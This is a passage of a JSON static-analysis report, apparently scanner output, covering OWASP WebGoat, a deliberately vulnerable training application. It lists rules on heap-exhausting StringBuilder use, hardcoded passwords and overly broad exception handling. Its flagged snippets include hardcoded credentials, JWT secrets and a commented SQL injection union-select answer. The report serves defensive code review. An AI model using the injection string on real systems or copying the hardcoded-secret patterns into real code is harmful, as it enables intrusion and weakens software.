fit user's data. Everytime new data is appended to a <code>StringBuilder</code> instance, it will try to fit it on its backing character array. If data does not fit, a new array will be created doubling the previous size while the old array will remain in the heap until it is garbage collected. This defect can be used to execute a Denial of Service (DoS) attack.\n\n<b>Example 1: </b>User-controlled data is appended to a <code>StringBuilder</code> instance initialized with the default constructor.\n<pre>\n    ...\n    StringBuilder sb = new StringBuilder();\n    sb.append(request.getParameter(\"foo\"));\n    ...\n</pre></Content>","title":"<Content><Paragraph>The call to <Replace key=\"PrimaryCall.name\"/> in <Replace key=\"PrimaryLocation.file\"/> on line <Replace key=\"PrimaryLocation.line\"/> appends untrusted data to a <code>StringBuilder</code> instance initialized with the default backing-array size (16). This can cause the JVM to over-consume heap memory space.<AltParagraph>Appending untrusted data to <code>StringBuilder</code> instance initialized with the default backing-array size can cause the JVM to over-consume heap memory space.</AltParagraph></Paragraph></Content>","impact":0.6,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask2.java\nStartLine: 60, EndLine: 66\nCode:\nString inputLine;\n\n                while ((inputLine = in.readLine()) != null) {\n                    html.append(inputLine);\n                }\n                in.close();","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-5","Rev_4"]}},{"id":"DD48C0E5-3651-4DF1-9BE8-EB989C64E33A","desc":"<Content>It is never a good idea to hardcode a password. Not only does hardcoding a password allow all of the project's developers to view the password, it also makes fixing the problem extremely difficult. After the code is in production, the password cannot be changed without patching the software. If the account protected by the password is compromised, the owners of the system must choose between security and availability.\n<Paragraph>\nIn this case, a hardcoded password was found in the call to <Replace key=\"PrimaryCall.name\" link=\"PrimaryLocation\"/> in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n\n<b>Example 1:</b> The following code uses a hardcoded password to connect to a database:\n\n<pre>\n...\nDriverManager.getConnection(url, \"scott\", \"tiger\");\n...\n</pre>\n\nThis code will run successfully, but anyone who has access to it will have access to the password. After the program ships, there is likely no way to change the database user \"scott\" with a password of \"tiger\" unless the program is patched. An employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for the application they can use the <code>javap -c</code> command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for <code>Example 1</code>:\n\n<pre>\njavap -c ConnMngr.class\n\n22: ldc   #36; //String jdbc:mysql://ixne.com/rxsql\n24: ldc   #38; //String scott\n26: ldc   #17; //String tiger\n</pre>\n\nIn the mobile environment, password management is especially important given that there is such a high chance of device loss.\n<b>Example 2:</b> The following code uses hardcoded username and password to setup authentication for viewing protected pages with Android's WebView.\n<pre>\n...\nwebview.setWebViewClient(new WebViewClient() {\n  public void onReceivedHttpAuthRequest(WebView view,\n        HttpAuthHandler handler, String host, String realm) {\n    handler.proceed(\"guest\", \"allow\");\n  }\n});\n...\n</pre>\n\nSimilar to <code>Example 1</code>, this code will run successfully, but anyone who has access to it will have access to the password.</Content>","title":"<Content>Hardcoded passwords may compromise system security in a way that cannot be easily remedied.</Content>","impact":0.6,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java\nStartLine: 33, EndLine: 37\nCode:\n//TODO should be random generated when starting the server\n    String PASSWORD = \"!!webgoat_admin_1234!!\";\n    String PASSWORD_TOM = \"thisisasecretfortomonly\";\n    String ADMIN_PASSWORD_LINK = \"375afe1104f4a487a73823c50a9292a2\";\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignment.java\nStartLine: 42, EndLine: 48\nCode:\n@AssignmentHints({\"password-reset-hint1\", \"password-reset-hint2\", \"password-reset-hint3\", \"password-reset-hint4\", \"password-reset-hint5\", \"password-reset-hint6\"})\npublic class ResetLinkAssignment extends AssignmentEndpoint {\n\n    static final String PASSWORD_TOM_9 = \"somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom\";\n    static final String TOM_EMAIL = \"tom@webgoat-cloud.org\";\n    static Map<String, String> userToTomResetLink = Maps.newHashMap();\n    static Map<String, String> usersToTomPassword = Maps.newHashMap();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 48, EndLine: 54\nCode:\n@Slf4j\npublic class SqlInjectionChallenge extends AssignmentEndpoint {\n\n    private static final String PASSWORD_TOM = \"thisisasecretfortomonly\";\n    //Make it more random at runtime (good luck guessing)\n    static final String USERS_TABLE_NAME = \"challenge_users_6\" + RandomStringUtils.randomAlphabetic(16);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java\nStartLine: 32, EndLine: 37\nCode:\n//TODO should be random generated when starting the server\n    String PASSWORD = \"!!webgoat_admin_1234!!\";\n    String PASSWORD_TOM = \"thisisasecretfortomonly\";\n    String ADMIN_PASSWORD_LINK = \"375afe1104f4a487a73823c50a9292a2\";\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTRefreshEndpoint.java\nStartLine: 51, EndLine: 57\nCode:\npublic class JWTRefreshEndpoint extends AssignmentEndpoint {\n\n    public static final String PASSWORD = \"bm5nhSkxCXZkKRy4\";\n    private static final String JWT_PASSWORD = \"bm5n3SkxCX4kKRy4\";\n    private static final List<String> validRefreshTokens = Lists.newArrayList();\n\n    @PostMapping(value = \"/JWT/refresh/login\", consumes = MediaType.APPLICATION_JSON_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-28","Rev_4"]}},{"id":"720E3A66-55AC-4D2D-8DB9-DC30E120A52F","desc":"<Content>It is never a good idea to hardcode a password. Storing password details within comments is equivalent to hardcoding passwords. Not only does it allow all of the project's developers to view the password, it also makes fixing the problem extremely difficult. After the code is in production, the password is now leaked to the outside world and cannot be protected or changed without patching the software. If the account protected by the password is compromised, the owners of the system must choose between security and availability.\n<Paragraph>\nIn this case, the password details appear in the comment in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n\n<b>Example:</b> The following comment specifies the default password to connect to a database:\n\n<pre>\n...\n// Default username for database connection is \"scott\"\n// Default password for database connection is \"tiger\"\n...\n</pre>\n\nThis code will run successfully, but anyone who has access to it will have access to the password. After the program ships, there is likely no way to change the database user \"scott\" with a password of \"tiger\" unless the program is patched. An employee with access to this information can use it to break into the system.</Content>","title":"<Content>Storing passwords or password details in plain text anywhere in the system or system code may compromise system security in a way that cannot be easily remedied.</Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/secure-passwords/src/main/java/org/owasp/webgoat/secure_password/SecurePasswordsAssignment.java\nStartLine: 59, EndLine: 65\nCode:\nif(strength.getFeedback().getWarning().length() != 0)\n            output.append(\"</br><b>Warning: </b>\" + strength.getFeedback().getWarning());\n        // possible feedback: https://github.com/dropbox/zxcvbn/blob/master/src/feedback.coffee\n        // maybe ask user to try also weak passwords to see and understand feedback?\n        if(strength.getFeedback().getSuggestions().size() != 0){\n            output.append(\"</br><b>Suggestions:</b></br><ul>\");\n            for(String sug: strength.getFeedback().getSuggestions()) output.append(\"<li>\"+sug+\"</li>\");","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/WebgoatContext.java\nStartLine: 77, EndLine: 87\nCode:\nreturn (databaseUser);\n    }\n\n    /**\n     * Gets the databasePassword attribute of the WebSession object\n     *\n     * @return The databasePassword value\n     */\n    public String getDatabasePassword() {\n        return (databasePassword);\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignment.java\nStartLine: 78, EndLine: 84\nCode:\nPasswordChangeForm form = new PasswordChangeForm();\n            form.setResetLink(link);\n            model.addAttribute(\"form\", form);\n            return \"password_reset\"; //Display html page for changing password\n        } else {\n            return \"password_link_not_found\";\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webwolf/src/main/java/org/owasp/webwolf/WebSecurityConfig.java\nStartLine: 67, EndLine: 73\nCode:\n@Autowired\n    public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {\n        auth.userDetailsService(userDetailsService); //.passwordEncoder(bCryptPasswordEncoder());\n    }\n\n    @Bean","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/challenges/Assignment1Test.java\nStartLine: 80, EndLine: 86\nCode:\n//    public void correctPasswordXForwardHeaderMissing() throws Exception {\n//        mockMvc.perform(MockMvcRequestBuilders.post(\"/challenge/1\")\n//                .param(\"username\", \"admin\")\n//                .param(\"password\", SolutionConstants.PASSWORD))\n//                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"ip.address.unknown\"))))\n//                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(false)));\n//    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/challenges/Assignment1Test.java\nStartLine: 90, EndLine: 96\nCode:\n//        mockMvc.perform(MockMvcRequestBuilders.post(\"/challenge/1\")\n//                .header(\"X-Forwarded-For\", \"127.0.1.2\")\n//                .param(\"username\", \"admin\")\n//                .param(\"password\", SolutionConstants.PASSWORD))\n//                .andExpect(jsonPath(\"$.feedback\", CoreMatchers.is(messages.getMessage(\"ip.address.unknown\"))))\n//                .andExpect(jsonPath(\"$.lessonCompleted\", CoreMatchers.is(false)));\n//    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\nStartLine: 84, EndLine: 90\nCode:\n@Autowired\n    public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {\n        auth.userDetailsService(userDetailsService); //.passwordEncoder(bCryptPasswordEncoder());\n    }\n\n    @Bean","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\nStartLine: 42, EndLine: 48\nCode:\n@ResponseBody\n    public AttackResult completed(@RequestParam String userid_6a) throws IOException {\n        return injectableQuery(userid_6a);\n        // The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --\n    }\n\n    protected AttackResult injectableQuery(String accountName) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/challenges/Assignment1Test.java\nStartLine: 77, EndLine: 83\nCode:\n}\n\n//    @Test\n//    public void correctPasswordXForwardHeaderMissing() throws Exception {\n//        mockMvc.perform(MockMvcRequestBuilders.post(\"/challenge/1\")\n//                .param(\"username\", \"admin\")\n//                .param(\"password\", SolutionConstants.PASSWORD))","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java\nStartLine: 36, EndLine: 47\nCode:\nimport static org.springframework.util.StringUtils.*;\n\n/**\n * Part of the password reset assignment. Used to send the e-mail.\n *\n * @author nbaars\n * @since 8/20/17.\n */\n@RestController\npublic class ResetLinkAssignmentForgotPassword extends AssignmentEndpoint {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/challenges/Assignment1Test.java\nStartLine: 86, EndLine: 92\nCode:\n//    }\n\n//    @Test\n//    public void correctPasswordXForwardHeaderWrong() throws Exception {\n//        mockMvc.perform(MockMvcRequestBuilders.post(\"/challenge/1\")\n//                .header(\"X-Forwarded-For\", \"127.0.1.2\")\n//                .param(\"username\", \"admin\")","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-28","Rev_4"]}},{"id":"85E603E0-2933-4F38-851F-341604F75CB9","desc":"<Content>Multiple catch blocks can get repetitive, but \"condensing\" catch blocks by catching a high-level class such as <code>Exception</code> can obscure exceptions that deserve special treatment or that should not be caught at this point in the program. Catching an overly broad exception essentially defeats the purpose of Java's typed exceptions, and can become particularly dangerous if the program grows and begins to throw new types of exceptions. The new exception types will not receive any attention.\n\n<b>Example:</b> The following code excerpt handles three types of exceptions in an identical fashion.\n\n<pre>\n  try {\n    doExchange();\n  }\n  catch (IOException e) {\n    logger.error(\"doExchange failed\", e);\n  }\n  catch (InvocationTargetException e) {\n    logger.error(\"doExchange failed\", e);\n  }\n  catch (SQLException e) {\n    logger.error(\"doExchange failed\", e);\n  }\n</pre>\n\nAt first blush, it may seem preferable to deal with these exceptions in a single catch block, as follows:\n\n<pre>\n  try {\n    doExchange();\n  }\n  catch (Exception e) {\n    logger.error(\"doExchange failed\", e);\n  }\n</pre>\n\nHowever, if <code>doExchange()</code> is modified to throw a new type of exception that should be handled in some different kind of way, the broad catch block will prevent the compiler from pointing out the situation. Further, the new catch block will now also handle exceptions derived from <code>RuntimeException</code> such as <code>ClassCastException</code>, and <code>NullPointerException</code>, which is not the programmer's intent.</Content>","title":"<Content><Paragraph>The catch block at <Replace key=\"PrimaryLocation.file\"/> line <Replace key=\"PrimaryLocation.line\"/> handles a broad swath of exceptions,  potentially trapping dissimilar issues or problems that should not be dealt with at this point in the program.<AltParagraph>The catch block handles a broad swath of exceptions, potentially trapping dissimilar issues or problems that should not be dealt with at this point in the program.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6b.java\nStartLine: 68, EndLine: 77\nCode:\nsqle.printStackTrace();\n                // do nothing\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n            // do nothing\n        }\n        return (password);\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\nStartLine: 68, EndLine: 75\nCode:\nreturn trackProgress(failed().output(sqle.getMessage()).build());\n            }\n        } catch (Exception e) {\n            return trackProgress(failed().output(this.getClass().getName() + \" : \" + e.getMessage()).build());\n        }\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 75, EndLine: 84\nCode:\nreturn checkSalaryRanking(connection, output);\n\n        } catch (Exception e) {\n            System.err.println(e.getMessage());\n            return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());\n        }\n    }\n\n    private AttackResult checkSalaryRanking(Connection connection, StringBuffer output) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask1.java\nStartLine: 72, EndLine: 82\nCode:\n.output(html.toString())\n                        .build());\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n            return trackProgress(failed()\n                    .output(e.getMessage())\n                    .build());\n        }\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java\nStartLine: 91, EndLine: 98\nCode:\nHttpHeaders httpHeaders = new HttpHeaders();\n            HttpEntity httpEntity = new HttpEntity(httpHeaders);\n            new RestTemplate().exchange(String.format(\"http://%s/PasswordReset/reset/reset-password/%s\", host, resetLink), HttpMethod.GET, httpEntity, Void.class);\n        } catch (Exception e) {\n            //don't care\n        }\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 106, EndLine: 122\nCode:\n}\n            }\n\n        } catch (Exception e) {\n            e.printStackTrace();\n            HashMap<String,String> errMap = new HashMap() {{\n                put(\"err\",e.getMessage() + \"::\" + e.getCause());\n            }};\n            e.printStackTrace();\n            return new HashMap<Integer,HashMap>() {{\n                put(0,errMap);\n            }};\n\n        }\n        return null;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\nStartLine: 67, EndLine: 74\nCode:\nreturn trackProgress(failed().feedback(\"sql-injection.2.failed\").output(sqle.getMessage()).build());\n            }\n        } catch (Exception e) {\n            return trackProgress(failed().output(this.getClass().getName() + \" : \" + e.getMessage()).build());\n        }\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson10b.java\nStartLine: 101, EndLine: 109\nCode:\nJavaObjectFromString javaFileObject = null;\n        try{\n            javaFileObject = new JavaObjectFromString(\"TestClass.java\", javaFileContents.toString());\n        }catch(Exception exception){\n            exception.printStackTrace();\n        }\n        return javaFileObject;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 54, EndLine: 63\nCode:\nint count = 0;\n      try {\n        count = Integer.parseInt(login_count);\n      } catch(Exception e) {\n        return trackProgress(failed().output(\"Could not parse: \" + login_count + \" to a number\" +\n                \"<br> Your query was: \" + queryString.replace(\"?\", login_count)).build());\n      }\n\n      query.setInt(1, count);\n      //String query = \"SELECT * FROM user_data WHERE Login_Count = \" + login_count + \" and userid = \" + accountName, ;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 89, EndLine: 96\nCode:\nreturn trackProgress(failed().output(sqle.getMessage() + \"<br> Your query was: \" + queryString.replace(\"?\", login_count)).build());\n      }\n    } catch (Exception e) {\n      return trackProgress(failed().output(this.getClass().getName() + \" : \" + e.getMessage() + \"<br> Your query was: \" + queryString.replace(\"?\", login_count)).build());\n    }\n  }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson3.java\nStartLine: 69, EndLine: 76\nCode:\nreturn trackProgress(failed().output(sqle.getMessage()).build());\n            }\n        } catch (Exception e) {\n            return trackProgress(failed().output(this.getClass().getName() + \" : \" + e.getMessage()).build());\n        }\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/BlindSendFileAssignment.java\nStartLine: 77, EndLine: 85\nCode:\ntry {\n            Comment comment = comments.parseXml(commentStr);\n            comments.addComment(comment, false);\n        } catch (Exception e) {\n            return trackProgress(failed().output(e.toString()).build());\n        }\n        return trackProgress(failed().build());\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson10b.java\nStartLine: 79, EndLine: 87\nCode:\n} else {\n                return trackProgress(failed().feedback(\"sql-injection.10b.failed\").build());\n            }\n        } catch(Exception e) {\n            return trackProgress(failed().output(e.getMessage()).build());\n        }\n    }\n\n    private List<Diagnostic> compileFromString(String s) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java\nStartLine: 92, EndLine: 100\nCode:\nreturn trackProgress(failed().feedback(\"jwt-secret-incorrect-user\").feedbackArgs(user).build());\n                }\n            }\n        } catch (Exception e) {\n        \te.printStackTrace();\n            return trackProgress(failed().feedback(\"jwt-invalid-token\").output(e.getMessage()).build());\n        }\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java\nStartLine: 67, EndLine: 75\nCode:\n} else {\n                try {\n                    sendMailToUser(email, host, resetLink);\n                } catch (Exception e) {\n                    return failed().output(\"E-mail can't be send. please try again.\").build();\n                }\n            }\n        }\n        return success().feedback(\"email.send\").feedbackArgs(email).build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6a.java\nStartLine: 83, EndLine: 91\nCode:\n} catch (SQLException sqle) {\n                return trackProgress(failed().output(sqle.getMessage() + \"<br> Your query was: \" + query).build());\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n            return trackProgress(failed().output(this.getClass().getName() + \" : \" + e.getMessage() + \"<br> Your query was: \" + query).build());\n        }\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOwnProfile.java\nStartLine: 53, EndLine: 61\nCode:\n} else {\n                details.put(\"error\",\"You do not have privileges to view the profile. Authenticate as tom first please.\");\n            }\n        }catch (Exception ex) {\n            System.out.println(ex.getMessage());\n        }\n        return details;\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/SimpleXXE.java\nStartLine: 71, EndLine: 79\nCode:\nif (checkSolution(comment)) {\n                return trackProgress(success().build());\n            }\n        } catch (Exception e) {\n            error = ExceptionUtils.getFullStackTrace(e);\n        }\n        return trackProgress(failed().output(error).build());\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 85, EndLine: 102\nCode:\nreturn new HashMap<Integer,HashMap>() {{\n                    put(0,errMap);\n                }};\n            } catch (Exception e) {\n                e.printStackTrace();\n                HashMap<String,String> errMap = new HashMap() {{\n                    put(\"err\",e.getMessage() + \"::\" + e.getCause());\n                }};\n                e.printStackTrace();\n                return new HashMap<Integer,HashMap>() {{\n                    put(0,errMap);\n                }};\n\n\n            } finally {\n                try {\n                    if (connection != null) {\n                        connection.close();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACUsers.java\nStartLine: 83, EndLine: 93\nCode:\ntry {\n            userService.addUser(newUser.getUsername(),newUser.getPassword(),newUser.getRole());\n            return userService.loadUserByUsername(newUser.getUsername());\n        } catch (Exception ex) {\n            System.out.println(\"Error creating new User\" + ex.getMessage());\n            ex.printStackTrace();\n            //TODO: implement error handling ...\n        } finally {\n            // no streams or other resources opened ... nothing to do, right?\n        }\n        return null;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/deserialization/InsecureDeserializationTask.java\nStartLine: 64, EndLine: 72\nCode:\nreturn trackProgress(failed().feedback(\"insecure-deserialization.invalidversion\").build());\n        } catch (IllegalArgumentException e) {\n            return trackProgress(failed().feedback(\"insecure-deserialization.expired\").build());\n        } catch (Exception e) {\n            return trackProgress(failed().feedback(\"insecure-deserialization.invalidversion\").build());\n        }\n\n        delay = (int) (after - before);\n        if (delay > 7000) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java\nStartLine: 79, EndLine: 87\nCode:\nreturn trackProgress(failed().output(sqle.getMessage() + \"<br> Your query was: \" + query).build());\n      }\n    } catch (Exception e) {\n      return trackProgress(failed().output(this.getClass().getName() + \" : \" + e.getMessage() + \"<br> Your query was: \" + query).build());\n    }\n  }\n\n  public static String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws SQLException {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5.java\nStartLine: 55, EndLine: 62\nCode:\n} else {\n                return trackProgress(failed().output(output.toString()).build());\n            }\n        } catch (Exception e) {\n            return trackProgress(failed().output(this.getClass().getName() + \" : \" + e.getMessage()).build());\n        }\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java\nStartLine: 66, EndLine: 75\nCode:\nif (checkSolution(comment)) {\n                    attackResult = success().build();\n                }\n            } catch (Exception e) {\n                error = org.apache.commons.lang.exception.ExceptionUtils.getFullStackTrace(e);\n                attackResult = failed().feedback(\"xxe.content.type.feedback.xml\").output(error).build();\n            }\n        }\n\n        return trackProgress(attackResult);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 81, EndLine: 89\nCode:\nreturn trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());\n            }\n\n        } catch (Exception e) {\n            return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());\n        }\n    }\n\n    public static String generateTable(ResultSet results) throws SQLException {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOwnProfileAltUrl.java\nStartLine: 56, EndLine: 63\nCode:\n} else {\n                return trackProgress(failed().feedback(\"idor.view.own.profile.failure2\").build());\n            }\n        } catch (Exception ex) {\n            return failed().feedback(\"an error occurred with your request\").build();\n        }\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask2.java\nStartLine: 75, EndLine: 85\nCode:\n.output(html.toString())\n                        .build());\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n            return trackProgress(failed()\n                    .output(e.getMessage())\n                    .build());\n        }\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson3.java\nStartLine: 71, EndLine: 78\nCode:\n} else {\n                return trackProgress(failed().feedback(\"xss-mitigation-3-failure\").build());\n            }\n        } catch (Exception e) {\n            return trackProgress(failed().output(e.getMessage()).build());\n        }\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 73, EndLine: 81\nCode:\n}\n            }\n\n        } catch (Exception e) {\n            return trackProgress(failed().output(\"<span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());\n        }\n    }\n\n    private boolean tableExists(Connection connection) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/DisplayUser.java\nStartLine: 56, EndLine: 65\nCode:\n//TODO: persist userHash\n        try {\n            this.userHash = genUserHash(user.getUsername(), user.getPassword());\n        } catch (Exception ex) {\n            //TODO: implement better fallback operation\n            this.userHash = \"Error generating user hash\";\n        }\n\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SI-11","Rev_4"]}},{"id":"59DB783C-E130-4A79-A89D-75DAC707D601","desc":"<Content>It is never a good idea to hardcode an encryption key because it allows all of the project's developers to view the encryption key, and makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account that is protected by the encryption key is compromised, the owners of the system must choose between security and availability.\n\n<Paragraph>\nIn this case, the encryption key is located at <Replace key=\"PrimaryCall.name\" link=\"PrimaryLocation\"/> in <Replace 